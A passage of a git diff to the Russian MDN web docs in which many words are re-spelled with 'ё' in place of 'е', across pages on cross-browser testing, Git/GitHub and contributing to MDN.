обнаружения функций и использовать библиотеку Modernizr для более легкой реализации тестов.</p> +<p>В этой статье было рассмотрено обнаружение функций с достаточным количеством подробностей, рассмотрены основные концепции и показано, как реализовать свои собственные тесты обнаружения функций и использовать библиотеку Modernizr для более лёгкой реализации тестов.</p> -<p>Далее мы начнем изучать автоматизированное тестирование.</p> +<p>Далее мы начнём изучать автоматизированное тестирование.</p> <p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> @@ -335,9 +335,9 @@ Modernizr.fetch</pre> <ul> <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Введение в кросс-браузерное тестирование</a></li> <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Стратегии проведения тестирования</a></li> - <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Решение распространенных проблем HTML и CSS</a></li> - <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Решение распространенных проблем JavaScript</a></li> - <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Решение распространенных проблем доступности</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Решение распространённых проблем HTML и CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Решение распространённых проблем JavaScript</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Решение распространённых проблем доступности</a></li> <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Реализация функции обнаружения</a></li> <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Введение в автоматизированное тестирование</a></li> <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Настройка собственной среды автоматизации тестирования</a></li> diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html index 64ff9cafcc..7d16d4c70f 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html @@ -17,7 +17,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS </tr> <tr> <th scope="row">Цель:</th> - <td>Иметь возможность находить распространенные кросс-браузерные проблемы HTML и CSS, использовать нужные инструменты и методы для их устранения</td> + <td>Иметь возможность находить распространённые кросс-браузерные проблемы HTML и CSS, использовать нужные инструменты и методы для их устранения</td> </tr> </tbody> </table> diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/index.html index bdb268acb6..e5a66a7963 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/index.html @@ -5,7 +5,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing --- <div>{{LearnSidebar}}</div> -<p class="summary">Этот модуль фокусируется на тестировании веб-проектов в разных браузерах. Мы рассматриваем идентификацию вашей целевой аудитории (например о каких пользователях, браузерах и устройствах вам больше всего нужно беспокоиться?), Как пройти тестирование, основные проблемы, с которыми вам придется столкнуться с разными типами кода и способы смягчения их, какие инструменты наиболее полезны для помощи в тестировании и устранении проблем, а также о том, как использовать автоматизацию для ускорения тестирования.</p> +<p class="summary">Этот модуль фокусируется на тестировании веб-проектов в разных браузерах. Мы рассматриваем идентификацию вашей целевой аудитории (например о каких пользователях, браузерах и устройствах вам больше всего нужно беспокоиться?), Как пройти тестирование, основные проблемы, с которыми вам придётся столкнуться с разными типами кода и способы смягчения их, какие инструменты наиболее полезны для помощи в тестировании и устранении проблем, а также о том, как использовать автоматизацию для ускорения тестирования.</p> <h2 id="Предпосылки">Предпосылки</h2> @@ -15,20 +15,20 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing <dl> <dt><a href="/ru/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Введение в кросс-браузерное тестирование</a></dt> - <dd>Этот модуль начинается с обзора темы кросс-браузерного тестирования и отвечает на такие вопросы, как «что такое кросс-браузерное тестирование?», «с какими наиболее распространенными типами проблем вы столкнетесь?» и «каковы основные подходы к тестированию, выявлению и устранению проблем?"</dd> + <dd>Этот модуль начинается с обзора темы кросс-браузерного тестирования и отвечает на такие вопросы, как «что такое кросс-браузерное тестирование?», «с какими наиболее распространёнными типами проблем вы столкнётесь?» и «каковы основные подходы к тестированию, выявлению и устранению проблем?"</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Стратегии проведения тестирования</a></dt> <dd>Затем мы углубимся в тестирование, рассматривая целевую аудиторию (например какие браузеры, устройства и другие сегменты должны проверяться), стратегии тестирования низкого уровня (получить себе множество устройств и некоторых виртуальных машин и делать специальные тесты, когда это необходимо), стратегии более высоких технологий (автоматизация, использование специальных тестовых приложений) и тестирование с помощью групп пользователей.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Рассмотрим общие проблемы HTML и CSS</a></dt> - <dd>С набором сценариев, мы теперь рассмотрим общие кроссбраузерные проблемы, которые вы найдете в коде HTML и CSS, и какие инструменты можно использовать для предотвращения возникновения проблем или устранения возникающих проблем. Это включает в себя листинг кода, передачу префиксов CSS, использование инструментов браузера dev tools для устранения проблем, использование полифилов для добавления поддержки в браузеры, решение проблем с отзывчивым дизайном и многое другое.</dd> + <dd>С набором сценариев, мы теперь рассмотрим общие кроссбраузерные проблемы, которые вы найдёте в коде HTML и CSS, и какие инструменты можно использовать для предотвращения возникновения проблем или устранения возникающих проблем. Это включает в себя листинг кода, передачу префиксов CSS, использование инструментов браузера dev tools для устранения проблем, использование полифилов для добавления поддержки в браузеры, решение проблем с отзывчивым дизайном и многое другое.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Рассмотрим общие проблемы JavaScript</a></dt> <dd>Теперь мы рассмотрим общие проблемы JavaScript в браузере и как их исправить. Это включает в себя информацию об использовании инструментов браузера для отслеживания и устранения неполадок, используя полифилы и библиотеки для решения проблем, получения современных функций JavaScript, работающих в старых браузерах, и многое другое.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Рассмотрим общие проблемы доступности</a></dt> - <dd>Затем мы обращаем наше внимание на доступность, предоставляя информацию о распространенных проблемах, как сделать простое тестирование, и как использовать инструменты аудита/автоматизации для поиска проблем доступности.</dd> + <dd>Затем мы обращаем наше внимание на доступность, предоставляя информацию о распространённых проблемах, как сделать простое тестирование, и как использовать инструменты аудита/автоматизации для поиска проблем доступности.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Внедрение свойства обнаружения</a></dt> - <dd>Свойство выявления включает в себя разработку того, поддерживает ли браузер определенный блок кода, и работает ли другой код, зависящий от того, делает он (или нет), чтобы браузер всегда мог обеспечить рабочую силу, а также сбои / ошибки в некоторых браузерах. В этой статье описывается, как написать собственную простую функцию выявления, как использовать библиотеку для ускорения реализации и встроенные функции для обнаружения функций, такие как <code>@supports</code>.</dd> + <dd>Свойство выявления включает в себя разработку того, поддерживает ли браузер определённый блок кода, и работает ли другой код, зависящий от того, делает он (или нет), чтобы браузер всегда мог обеспечить рабочую силу, а также сбои / ошибки в некоторых браузерах. В этой статье описывается, как написать собственную простую функцию выявления, как использовать библиотеку для ускорения реализации и встроенные функции для обнаружения функций, такие как <code>@supports</code>.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Введение в автоматизированное тестирование</a></dt> <dd>Введение в автоматизированное тестирование<br> - Вручную запускать тесты на нескольких браузерах и устройствах, несколько раз в день, может стать утомительным и трудоемким. Чтобы эффективно справляться с этим, вы должны ознакомиться с инструментами автоматизации. В этой статье мы рассмотрим, что доступно, как использовать задачи, а также основы использования коммерческих приложений для автоматизации тестирования браузера, таких как Sauce Labs и Browser Stack.</dd> + Вручную запускать тесты на нескольких браузерах и устройствах, несколько раз в день, может стать утомительным и трудоёмким. Чтобы эффективно справляться с этим, вы должны ознакомиться с инструментами автоматизации. В этой статье мы рассмотрим, что доступно, как использовать задачи, а также основы использования коммерческих приложений для автоматизации тестирования браузера, таких как Sauce Labs и Browser Stack.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Настройка собственной среды автоматизации тестирования</a></dt> <dd>В этой статье мы научим вас, как установить свою собственную среду автоматизации и запустить собственные тесты с помощью Selenium / WebDriver и библиотеки тестирования, такой как selenium-webdriver для Node. Мы также рассмотрим, как интегрировать локальную тестовую среду с коммерческими приложениями, такими как те, которые обсуждались в предыдущей статье.</dd> </dl> diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html index 6057b46650..4f02764c4f 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html @@ -9,7 +9,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction <div>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> -<p class="summary">Эта статья начинает модуль с обзора темы кросс-браузерного тестирования, отвечая на такие вопросы как "что такое кросс-браузерное тестирование?", "с какими распространенными проблемами можно столкнуться?" и "какие основные подходы для тестирования, обнаружения и исправления проблем существуют?"</p> +<p class="summary">Эта статья начинает модуль с обзора темы кросс-браузерного тестирования, отвечая на такие вопросы как "что такое кросс-браузерное тестирование?", "с какими распространёнными проблемами можно столкнуться?" и "какие основные подходы для тестирования, обнаружения и исправления проблем существуют?"</p> <table class="learn-box standard-table"> <tbody> @@ -26,11 +26,11 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction <h2 id="Что_такое_кросс-браузерное_тестирование">Что такое кросс-браузерное тестирование?</h2> -<p>Кросс-браузерное тестирование - это практика обеспечения уверенности в том, что веб-сайты и веб-приложения, которые вы создаете, работают в приемлемом количестве браузеров. Обязанность веб-разработчика быть уверенным, что проект работает не только у вас, а у всех ваших пользователей, независимо от браузера, устройства, или других вспомогательных инструментов, которые они используют. Вы должны думать о:</p> +<p>Кросс-браузерное тестирование - это практика обеспечения уверенности в том, что веб-сайты и веб-приложения, которые вы создаёте, работают в приемлемом количестве браузеров. Обязанность веб-разработчика быть уверенным, что проект работает не только у вас, а у всех ваших пользователей, независимо от браузера, устройства, или других вспомогательных инструментов, которые они используют. Вы должны думать о:</p> <ul> <li>Других браузерах. Не тех нескольких, которые вы регулярно используете, а о довольно старых, которые некоторые люди могут использовать до сих пор, и которые не поддерживают современные возможности CSS и JavaScript.</li> - <li>Разных устройствах с разными возможностями, начиная от последних лучших планшетов, смартфонов и "умных" телевизоров, до дешевых устройств и самых старых смартфонов, в которых браузеры могут работать с ограниченными возможностями.</li> + <li>Разных устройствах с разными возможностями, начиная от последних лучших планшетов, смартфонов и "умных" телевизоров, до дешёвых устройств и самых старых смартфонов, в которых браузеры могут работать с ограниченными возможностями.</li> <li>Людях с инвалидностью, которые используют Web с помощью вспомогательных технологий, таких как скринридеры, или не используют мышь (некоторые используют только клавиатуру).</li> </ul> @@ -40,24 +40,24 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction <p><strong>Примечание</strong>: Статья <a href="https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/">сделаем веб доступным для всех</a> предоставляет более полезную информацию о различных браузерах, которые используют люди, их доле рынка и связанных с этим проблемах совместимости браузеров.</p> </div> -<p>Мы должны поговорить немного о терминологии. Для начала, когда мы говорим о сайтах, "работающих кросс-браузерной", на самом деле мы говорим о том, что они должны обеспечивать приемлемое удобство использования в разных браузерах. Это нормально, если сайт выглядит немного по-разному в разных браузерах, главное он должен обеспечивать полную функциональность.В современных браузерах вы можете сделать что-то анимированным или использовать 3D, тогда как в старых браузерах вы можете лишь показать плоскую картинку, предоставляющую ту же информацию. Если владелец сайта доволен, вы сделали свое дело.</p> +<p>Мы должны поговорить немного о терминологии. Для начала, когда мы говорим о сайтах, "работающих кросс-браузерной", на самом деле мы говорим о том, что они должны обеспечивать приемлемое удобство использования в разных браузерах. Это нормально, если сайт выглядит немного по-разному в разных браузерах, главное он должен обеспечивать полную функциональность.В современных браузерах вы можете сделать что-то анимированным или использовать 3D, тогда как в старых браузерах вы можете лишь показать плоскую картинку, предоставляющую ту же информацию. Если владелец сайта доволен, вы сделали своё дело.</p> <p>С другой стороны, плохо, когда сайт полноценно работает для обычных людей, но может быть совершенно недоступен для людей, имеющих проблемы со зрением, т.к. их приложения для чтения экрана не могут распознать информацию на сайте.</p> <p>Когда мы говорим "приемлемое количество браузеров", мы не говорим, что это должно быть 100% всех браузеров в мире — это почти невозможно. Вы можете собрать информацию о том, какими браузеры и устройства используют ваши пользователи (это мы обсудим во второй статье — см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">Gotta test 'em all?</a>), но это ничего не гарантирует. Как веб-разработчик, вы должны определить для себя несколько браузеров и устройств, на которых код должен работать полностью, но кроме этого, вы должны писать код так, чтобы и другие браузеры были способны максимально использовать ваш сайт (defensive coding). Это одна из самых больших проблем веб-разработки.</p> <div class="note"> -<p><strong>Примечание</strong>: Мы разберем defensive coding позже в этом модуле.</p> +<p><strong>Примечание</strong>: Мы разберём defensive coding позже в этом модуле.</p> </div> <h2 id="Почему_возникают_кросс-браузерные_проблемы">Почему возникают кросс-браузерные проблемы?</h2> -<p>Есть множество причин, почему возникают кросс-браузерные проблемы, и, заметьте, что сейчас мы говорим о проблемах, при которых некоторые вещи ведут себя по-разному в разных браузерах / устройствах / настройках просмотра. Прежде чем вы столкнетесь с проблемами браузера, вы должны исправить все ошибки в коде (см. <a href="/ru/docs/Learn/HTML/Введение_в_HTML/Debugging_HTML">Отладка HTML</a>, <a href="/ru/docs/Learn/CSS/Introduction_to_CSS/Отладка_CSS">Отладка CSS</a>, and <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Что_пошло_не_так">Что пошло не так? Устранение ошибок JavaScript</a> из предыдущего раздела).</p> +<p>Есть множество причин, почему возникают кросс-браузерные проблемы, и, заметьте, что сейчас мы говорим о проблемах, при которых некоторые вещи ведут себя по-разному в разных браузерах / устройствах / настройках просмотра. Прежде чем вы столкнётесь с проблемами браузера, вы должны исправить все ошибки в коде (см. <a href="/ru/docs/Learn/HTML/Введение_в_HTML/Debugging_HTML">Отладка HTML</a>, <a href="/ru/docs/Learn/CSS/Introduction_to_CSS/Отладка_CSS">Отладка CSS</a>, and <a href="/ru/docs/Learn/JavaScript/Первые_шаги/Что_пошло_не_так">Что пошло не так? Устранение ошибок JavaScript</a> из предыдущего раздела).</p> <p>Кросс-браузерные проблемы возникают потому-что:</p> <ul> - <li>иногда браузеры содержат баги, или реализуют возможности по-разному. В настоящее время это не такая частая проблема, но когда IE4 и Netscape 4 конкурировали за право быть доминирующим браузером в 90-е, компании-разработчики браузеров умышленно реализовывали возможности по-своему в попытке получить конкурентное преимущество, что делало жизнь веб-разработчикам адом. Сейчас же браузеры гораздо жестче соблюдают стандарты, но различия и баги все же иногда возникают.</li> + <li>иногда браузеры содержат баги, или реализуют возможности по-разному. В настоящее время это не такая частая проблема, но когда IE4 и Netscape 4 конкурировали за право быть доминирующим браузером в 90-е, компании-разработчики браузеров умышленно реализовывали возможности по-своему в попытке получить конкурентное преимущество, что делало жизнь веб-разработчикам адом. Сейчас же браузеры гораздо жёстче соблюдают стандарты, но различия и баги все же иногда возникают.</li> <li>браузеры имеют разную степень поддержи современных технологий. Это неизбежно, когда вы имеете дело с новейшими функциями, которые браузеры только начинают осваивать, или если вы вынуждены поддерживать очень старые браузеры, которые более не дорабатываются или которые могли быть заморожены (то есть в них не добавляют новый функционал) задолго до того, как придумали новые возможности. Например, если вы хотите использовать передовые возможности JavaScript на вашем сайте, то они могут не работать в старых браузерах. Если вам нужна поддержка старых браузеров, вы можете конвертировать ваш код под старый синтаксис, используя специальные компиляторы.</li> <li>некоторые устройства могут иметь ограничения, из-за которых сайт работает медленно или отображается неверно. Например, если сайт был спроектирован для просмотра на десктопных устройствах, он возможно будет выглядеть мелко и трудночитаемо на мобильных устройствах. Если ваш сайт содержит множество больших анимаций, это может быть хорошо на высокопроизводительных планшетах, но может быть вялым или резким на устройствах меньшей производительности.</li> </ul> @@ -76,7 +76,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction <p><strong>Начальное планирование > Разработка > Тестирование > Исправление ошибок</strong></p> -<p>Шаги 2-4 будут повторяться до тех пор, пока не будут реализованы все возможности. Мы рассмотрим различные элементы процесса тестирования более детально в следующих статьях, но пока давайте соберем то, что может происходить на каждом этапе.</p> +<p>Шаги 2-4 будут повторяться до тех пор, пока не будут реализованы все возможности. Мы рассмотрим различные элементы процесса тестирования более детально в следующих статьях, но пока давайте соберём то, что может происходить на каждом этапе.</p> <h3 id="Начальное_планирование">Начальное планирование</h3> diff --git a/files/ru/learn/tools_and_testing/github/index.html b/files/ru/learn/tools_and_testing/github/index.html index 3f7b569a9f..9b3f639f8e 100644 --- a/files/ru/learn/tools_and_testing/github/index.html +++ b/files/ru/learn/tools_and_testing/github/index.html @@ -19,16 +19,16 @@ original_slug: Learn/Tools_and_testing/GitHub <p>СКВ являются основой для разработки программного обеспечения:</p> <ul> - <li>Редко, когда вы работаете с проектом полностью самостоятельно. Как только вы начинаете работать с другими людьми, возникает риск конфликта. Речь идет о ситуации, когда несколько человек пытается в одно и то же время обновить одну и ту же часть кода. Нужен определенный механизм, позволяющий управлять событиями и тем самым избежать потери результатов общей работы.</li> + <li>Редко, когда вы работаете с проектом полностью самостоятельно. Как только вы начинаете работать с другими людьми, возникает риск конфликта. Речь идёт о ситуации, когда несколько человек пытается в одно и то же время обновить одну и ту же часть кода. Нужен определённый механизм, позволяющий управлять событиями и тем самым избежать потери результатов общей работы.</li> <li>Работая с проектом в одиночку или с другими, вы захотите иметь возможность иметь резервную копию кода на случай поломки вашего компьютера.</li> - <li>Также у вас может возникнуть необходимость откатить изменения к более ранним версиям, если проблема обнаружена позднее. Конечно, это начать делать самостоятельно, сохраняя различные версии одного и того же файла, например <code>myCode.js</code>, <code>myCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>myCode_really_really_final.js</code>, и так далее, но это на самом деле ненадежный и порождающий ошибки способ.</li> + <li>Также у вас может возникнуть необходимость откатить изменения к более ранним версиям, если проблема обнаружена позднее. Конечно, это начать делать самостоятельно, сохраняя различные версии одного и того же файла, например <code>myCode.js</code>, <code>myCode_v2.js</code>, <code>myCode_v3.js</code>, <code>myCode_final.js</code>, <code>myCode_really_really_final.js</code>, и так далее, но это на самом деле ненадёжный и порождающий ошибки способ.</li> <li>Различные члены команды могут захотеть создать собственные версии кода (в Git такие версии именуются <strong>ветками</strong>), работать над новой фичей в этой версии, а затем контролируемо объединить эту версию (в GitHub используются <strong>пул реквизиты</strong> - запросы на принятие изменений) с главной версией.</li> </ul> <p>СКВ обеспечивают инструменты для решения всех вышеуказанных задач. <a href="https://git-scm.com/">Git</a> является примером СКВ, а <a href="https://github.com/">GitHub</a> - это сайт, обеспечивающий веб-интерфейс для работы с гит, а также множество полезных инструментов для работы с гит-репозиториями лично или в командах, такие как фиксация проблем с кодом, инструменты для проверки кода, инструменты для управления созданием продукта, например назначение задач и их статусов, и т.д.</p> <div class="blockIndicator note"> -<p><strong>Важно</strong>: ГИТ на самом деле - распределенная система контроля версий, это значит что полная копия репозитория, содержащая всю кодовую базу сохраняется на твой компьютер (и кого-либо еще). Ты вносишь изменения в свою копию и затем отправляешь эти изменения обратно на сервер, на котором администратор решит соединять ли твои изменения с оригиналом. </p> +<p><strong>Важно</strong>: ГИТ на самом деле - распределённая система контроля версий, это значит что полная копия репозитория, содержащая всю кодовую базу сохраняется на твой компьютер (и кого-либо ещё). Ты вносишь изменения в свою копию и затем отправляешь эти изменения обратно на сервер, на котором администратор решит соединять ли твои изменения с оригиналом. </p> </div> <h2 id="Подготовка">Подготовка</h2> @@ -38,7 +38,7 @@ original_slug: Learn/Tools_and_testing/GitHub <ul> <li>Компьютер с установленной версией Git (посмотри <a href="https://git-scm.com/downloads">страницу загрузки Git</a>).</li> <li>Приложения для работы с Git. В зависимости от того как ты предпочитаешь работать, можешь использовать <a href="https://git-scm.com/downloads/guis/">Git-клиенты с графическим интерфейсом</a> (мы рекомендуем GitHub Desktop, SourceTree или Git Kraken) или просто продолжай использовать окно терминала. Если честно, будет весьма полезно для тебя узнать основы использования git-команд в терминале, даже если ты собираешься работать через графический интерфейс.</li> - <li><a href="https://github.com/join">Аккаунт на GitHub</a>. Если у тебя еще его нет, зарегистрируйся сейчас по указанной ссылке.</li> + <li><a href="https://github.com/join">Аккаунт на GitHub</a>. Если у тебя ещё его нет, зарегистрируйся сейчас по указанной ссылке.</li> </ul> <p>Что касается предварительных знаний, вам не нужно разбираться в веб-разработке, Git / GitHub или VCS, чтобы приступить к этому модулю. Тем не менее, рекомендуется, чтобы вы разбирались в составлении кода, могли его писать и читать, а также сохранили пару строчек кода в своих репозиториях!</p> diff --git a/files/ru/mdn/about/index.html b/files/ru/mdn/about/index.html index 684d730f7f..6ff3fbd3a1 100644 --- a/files/ru/mdn/about/index.html +++ b/files/ru/mdn/about/index.html @@ -66,7 +66,7 @@ translation_of: MDN/About <p>Никакие новые страницы не могут быть созданы с использованием альтернативных лицензий.</p> </div> -<p><strong>Авторское право на предоставленные материалы остается у автора, если автор не присваивает его кому-либо ещё</strong>.</p> +<p><strong>Авторское право на предоставленные материалы остаётся у автора, если автор не присваивает его кому-либо ещё</strong>.</p> <p>Если у вас есть какие-либо вопросы или предложения по поводу поднятого здесь вопроса, пожалуйста, свяжитесь с <a class="external" href="mailto:eshepherd@mozilla.com" rel="nofollow" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a>.</p> diff --git a/files/ru/mdn/contribute/feedback/index.html b/files/ru/mdn/contribute/feedback/index.html index 31bab35781..3c51c32efb 100644 --- a/files/ru/mdn/contribute/feedback/index.html +++ b/files/ru/mdn/contribute/feedback/index.html @@ -25,7 +25,7 @@ translation_of: MDN/Contribute/Feedback <li>Нажмите кнопку <strong>Опубликовать</strong>, когда закончите вносить изменения.</li> </ol> -<p>Документация здесь в wiki формате, она курируется командой волонтеров и оплачиваемых сотрудников, так что не стесняйтесь — ваша грамматика не обязана быть идеальной. Если вы сделаете ошибку - мы её устраним; без вреда!</p> +<p>Документация здесь в wiki формате, она курируется командой волонтёров и оплачиваемых сотрудников, так что не стесняйтесь — ваша грамматика не обязана быть идеальной. Если вы сделаете ошибку - мы её устраним; без вреда!</p> <p>Для получения дополнительной информации о вкладе в MDN, смотрите:</p> diff --git a/files/ru/mdn/contribute/getting_started/index.html b/files/ru/mdn/contribute/getting_started/index.html index 24ee690e17..a7aa354333 100644 --- a/files/ru/mdn/contribute/getting_started/index.html +++ b/files/ru/mdn/contribute/getting_started/index.html @@ -31,17 +31,17 @@ translation_of: MDN/Contribute/Getting_started <p>Как только вы решили, какого рода задачей вы хотите заняться, найдите подходящую страницу, пример кода и т.д. - и вперёд!</p> -<p>Не беспокойтесь о том, что можете допустить ошибки. Другие участники MDN здесь, чтобы помочь исправить мелкие недочеты, которые Вы могли пропустить. Если появятся вопросы в процессе работы, загляните на страницу <a href="/ru/docs/MDN/Community">Сообщества</a> для получения информации или в списки рассылок и чаты, где можно получить ответы.</p> +<p>Не беспокойтесь о том, что можете допустить ошибки. Другие участники MDN здесь, чтобы помочь исправить мелкие недочёты, которые Вы могли пропустить. Если появятся вопросы в процессе работы, загляните на страницу <a href="/ru/docs/MDN/Community">Сообщества</a> для получения информации или в списки рассылок и чаты, где можно получить ответы.</p> <div class="note"> <p><strong>Внимание: </strong>Если Вы хотите поэкспериментировать с редактированием MDN перед тем, как сделать что-то «по-настоящему», можете потренироваться на странице в <strong><a href="/ru/docs/Sandbox">Песочнице</a></strong>. Пожалуйста, экспериментируйте только там. Не делайте ненужных изменений на обычных страницах, только чтобы посмотреть, что получится. Это добавляет работы другим.</p> </div> -<p>Когда закончите, смело приступайте к следующей задаче или посмотрите чуть ниже, <a href="#Другие_вещи_которые_вы_можете_делать_на_MDN">какие еще вещи можно сделать на MDN</a>.</p> +<p>Когда закончите, смело приступайте к следующей задаче или посмотрите чуть ниже, <a href="#Другие_вещи_которые_вы_можете_делать_на_MDN">какие ещё вещи можно сделать на MDN</a>.</p> <h2 id="Возможные_типы_задач">Возможные типы задач</h2> -<p>Есть несколько направлений, которые Вы можете выбрать, чтобы внести свой вклад в развитие MDN, в зависимости от квалификации и интересов. Даже если некоторые задачи покажутся сложными, у нас есть много других, простых и доступных. На решение большинства из них уйдет не более пяти минут (а то и меньше!). Рядом с задачей и ее кратким описанием Вы найдете приблизительное время, за которое обычно решаются задачи данного типа.</p> +<p>Есть несколько направлений, которые Вы можете выбрать, чтобы внести свой вклад в развитие MDN, в зависимости от квалификации и интересов. Даже если некоторые задачи покажутся сложными, у нас есть много других, простых и доступных. На решение большинства из них уйдёт не более пяти минут (а то и меньше!). Рядом с задачей и её кратким описанием Вы найдёте приблизительное время, за которое обычно решаются задачи данного типа.</p> <h3 id="Вариант_1_Мне_нравятся_слова">Вариант 1: Мне нравятся слова</h3> @@ -89,7 +89,7 @@ translation_of: MDN/Contribute/Getting_started <li><font><font>Связь с другими локализаторами, перечисленными в </font></font><a href="/ru/docs/Project:MDN/Localizing/Localization_projects"><font><font>локализации проектов</font></font></a><font><font> (30 минут)</font></font></li> </ul> -<h3 id="Вариант_5_Я_нашел_ошибки_но_не_знаю_как_их_исправить">Вариант 5: Я нашел ошибки, но не знаю, как их исправить</h3> +<h3 id="Вариант_5_Я_нашёл_ошибки_но_не_знаю_как_их_исправить">Вариант 5: Я нашёл ошибки, но не знаю, как их исправить</h3> <p>Вы можете сообщить <a class="external" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">нам о найденных ошибках</a>. (5 минут)</p> diff --git a/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html index 12970e3f48..b87990dd06 100644 --- a/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html +++ b/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html @@ -3,7 +3,7 @@ title: Как "оживить" примеры кода slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live --- -<div>{{MDNSidebar}}</div><p class="summary">MDN имеет систему «<a href="/ru/docs/MDN/Contribute/Editor/Live_samples">живых примеров</a>», где пример кода, показанный на странице, служит для отображения вывода этого же примера. Однако во многих существующих статьях есть примеры кода, которые еще не используют эту систему, и их необходимо преобразовать.</p> +<div>{{MDNSidebar}}</div><p class="summary">MDN имеет систему «<a href="/ru/docs/MDN/Contribute/Editor/Live_samples">живых примеров</a>», где пример кода, показанный на странице, служит для отображения вывода этого же примера. Однако во многих существующих статьях есть примеры кода, которые ещё не используют эту систему, и их необходимо преобразовать.</p> <p><span class="seoSummary">Живые примеры, позволяющие продемонстрировать работу кода, делают документацию более динамичной и наглядной. В этом руководстве описывается, как "оживить" существующие примеры.</span></p> diff --git a/files/ru/mdn/contribute/howto/report_a_problem/index.html b/files/ru/mdn/contribute/howto/report_a_problem/index.html index a0817f8271..a0667b2d78 100644 --- a/files/ru/mdn/contribute/howto/report_a_problem/index.html +++ b/files/ru/mdn/contribute/howto/report_a_problem/index.html @@ -9,16 +9,16 @@ translation_of: MDN/Contribute/Howto/Report_a_problem --- <div>{{MDNSidebar}}</div> -<p>Время от времени вы можете столкнуться с проблемами при использовании MDN. Будь то проблема с инфраструктурой сайта или ошибка в содержании документации, вы можете либо попытаться исправить ее самостоятельно, либо сообщить о проблеме. В то время как первое предпочтительнее, последнее иногда является лучшим, что вы можете сделать, и это тоже хорошо.</p> +<p>Время от времени вы можете столкнуться с проблемами при использовании MDN. Будь то проблема с инфраструктурой сайта или ошибка в содержании документации, вы можете либо попытаться исправить её самостоятельно, либо сообщить о проблеме. В то время как первое предпочтительнее, последнее иногда является лучшим, что вы можете сделать, и это тоже хорошо.</p> <h2 id="Ошибки_в_документации_или_запросы">Ошибки в документации или запросы</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Очевидно, поскольку MDN - это вики, лучшее, что вы можете сделать, - это исправить обнаруженные проблемы самостоятельно.</span> <span title="">Но, возможно, вы не знаете ответа или у вас уже истекает срок выполнения вашего собственного проекта или чего-то в этом роде, и вам нужно описать проблему, чтобы кто-то мог рассмотреть ее позже.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Очевидно, поскольку MDN - это вики, лучшее, что вы можете сделать, - это исправить обнаруженные проблемы самостоятельно.</span> <span title="">Но, возможно, вы не знаете ответа или у вас уже истекает срок выполнения вашего собственного проекта или чего-то в этом роде, и вам нужно описать проблему, чтобы кто-то мог рассмотреть её позже.</span></span></p> <p>Способ сообщить о проблеме с документацией – подача <a 